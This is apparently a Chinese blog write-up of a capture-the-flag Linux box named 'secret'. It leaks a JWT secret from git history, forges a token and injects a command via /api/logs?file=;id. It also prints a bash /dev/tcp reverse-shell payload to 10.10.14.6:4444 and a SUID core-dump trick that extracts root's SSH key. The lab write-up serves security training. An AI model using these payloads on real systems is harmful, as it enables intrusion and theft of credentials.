Linux/secret

Enumeration

nmap

第一次扫描发现系统对外开放了22,80和3000端口,端口详细信息如下

可以看到22端口对应的是ssh服务,80和3000都是http服务,80端口使用nginx,3000使用了Node.js

TCP/80

可以先从80端口开始探索,看起来是一个文档网站,叫DUMBDocs

再往下可以看到有一些功能,introduction还提到了使用JWT token认证

在最下面可以下载源代码

将文件解压缩后打开,发现里面有.git目录,实际上这是一个git仓库,可以查看日志看看哪些内容做了改动

可以使用git log来查看日志,日志中有一行很有趣,提到了因为安全原因删除了.env

可以使用git show来查看当前提交与源代码之间的区别,可以看到一个TOKEN_SECRET的明文值,但是目前已经变成机密了

查看其他提交时发现引入了/logs,目的是让管理员查看服务器上的日志,它可能会造成命令执行,file变量作为参数传递给git log时,最终会传递给exec函数去执行,因为verifytoken的存在,所以需要身份认证才能做到这一点

查看网站源代码,在routes中有一个auth.js,在login部分,它介绍了如何为登陆成功的用户生成jwt token

利用代码中提到的三个参数,以及之前获取得到的TOKEN_SERCET,在jwt.io中创建一个jwt token

使用该jwt token请求logs,但是却报错了,刚才在网站查看时也发现很多接口都在/api下面,尝试添加/api,添加后没有报404,直接报了500

按照刚才代码中所写,在请求logs时需要有一个参数,尝试添加?file=id,可以看到响应中cmd参数的值发生了改变,应该是git log --oneline id这个指令exec不知道该如何处理,在id前添加;即可

将请求改为/api/logs?file=;id之后,发现响应正常,并且成功执行了指令

可以尝试执行反向shell

复制代码
;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.6/4444+0>%261'

Privilege Escalation

获取交互式shell

在/opt目录下,有一个count文件,该文件是一个SUID文件,这意味着无论谁执行这个文件,都会以其所有者的身份去运行,而count属于root

尝试执行该文件,提示需要输入文件名,所以输入了/root/root.txt,程序统计了文件中的字数,并且提示是否保存文件

code.c是程序来源,查看其他人的wp,并结合代码,可以尝试利用count二进制文件来读取ssh密钥,然后在文件处理程序被破坏前使程序崩溃,程序崩溃后,会在/var/crashes目录下创建一个core dump文件。所以,可以执行程序,然后让程序读取/root/.ssh/id_rsa密钥文件,在使用ctrl+z置于后台,发送对应信号,当重新把程序置于前台时,就会崩溃并创建转储文件

复制代码
/opt/count
/root/.ssh/id_rsa
ctrl+z
kill -SIGSEGV `ps -e | grep -w "count"|awk -F ' ' '{print$1}'`
fg

按照上面的指令逐行执行

执行上述命令后,告知核心转储已创建,现在可以使用apport-unpack和strings来提取根ssh密钥

复制代码
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_unpacked
strings /tmp/crash_unpacked/CoreDump

复制该密钥保存后添加权限,然后可以使用该密钥登录ssh

相关推荐
独行soc1 分钟前
2026年渗透测试面试题总结-5(题目+回答)
android·网络·python·安全·web安全·渗透测试
上海云盾安全满满17 分钟前
入侵防御系统与入侵检测系统的核心区别
网络·安全·web安全
heze091 小时前
sqli-labs-Less-24
mysql·网络安全
天荒地老笑话么1 小时前
Linux 里 chmod 755 file.txt 是什么意思(权限配置)
linux·运维·服务器·网络安全
枷锁—sha2 小时前
【CTF笔记篇】SQL 注入总结
数据库·笔记·sql·安全·网络安全
薛定谔的猫喵喵2 小时前
【从零构建】PHP网络安全渗透测试靶场:5大基础漏洞实战
windows·sql·web安全·php
菩提小狗2 小时前
小迪安全2023-2024|第102天:漏洞发现-漏扫项目篇&Poc开发&Yaml语法&插件一键生成&匹配结_笔记|web安全|渗透测试|
笔记·安全·web安全
MESMarketing3 小时前
互动分享 | ISO 26262安全分析概览
功能测试·测试工具·安全·网络安全·matlab
Whoami!3 小时前
⓫⁄₃ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 获取目标主机的基本信息(下)
windows·网络安全·信息安全·信息收集
BOB-wangbaohai3 小时前
软考-系统架构师-信息安全技术基础知识(三)
网络安全·软考·系统架构设计师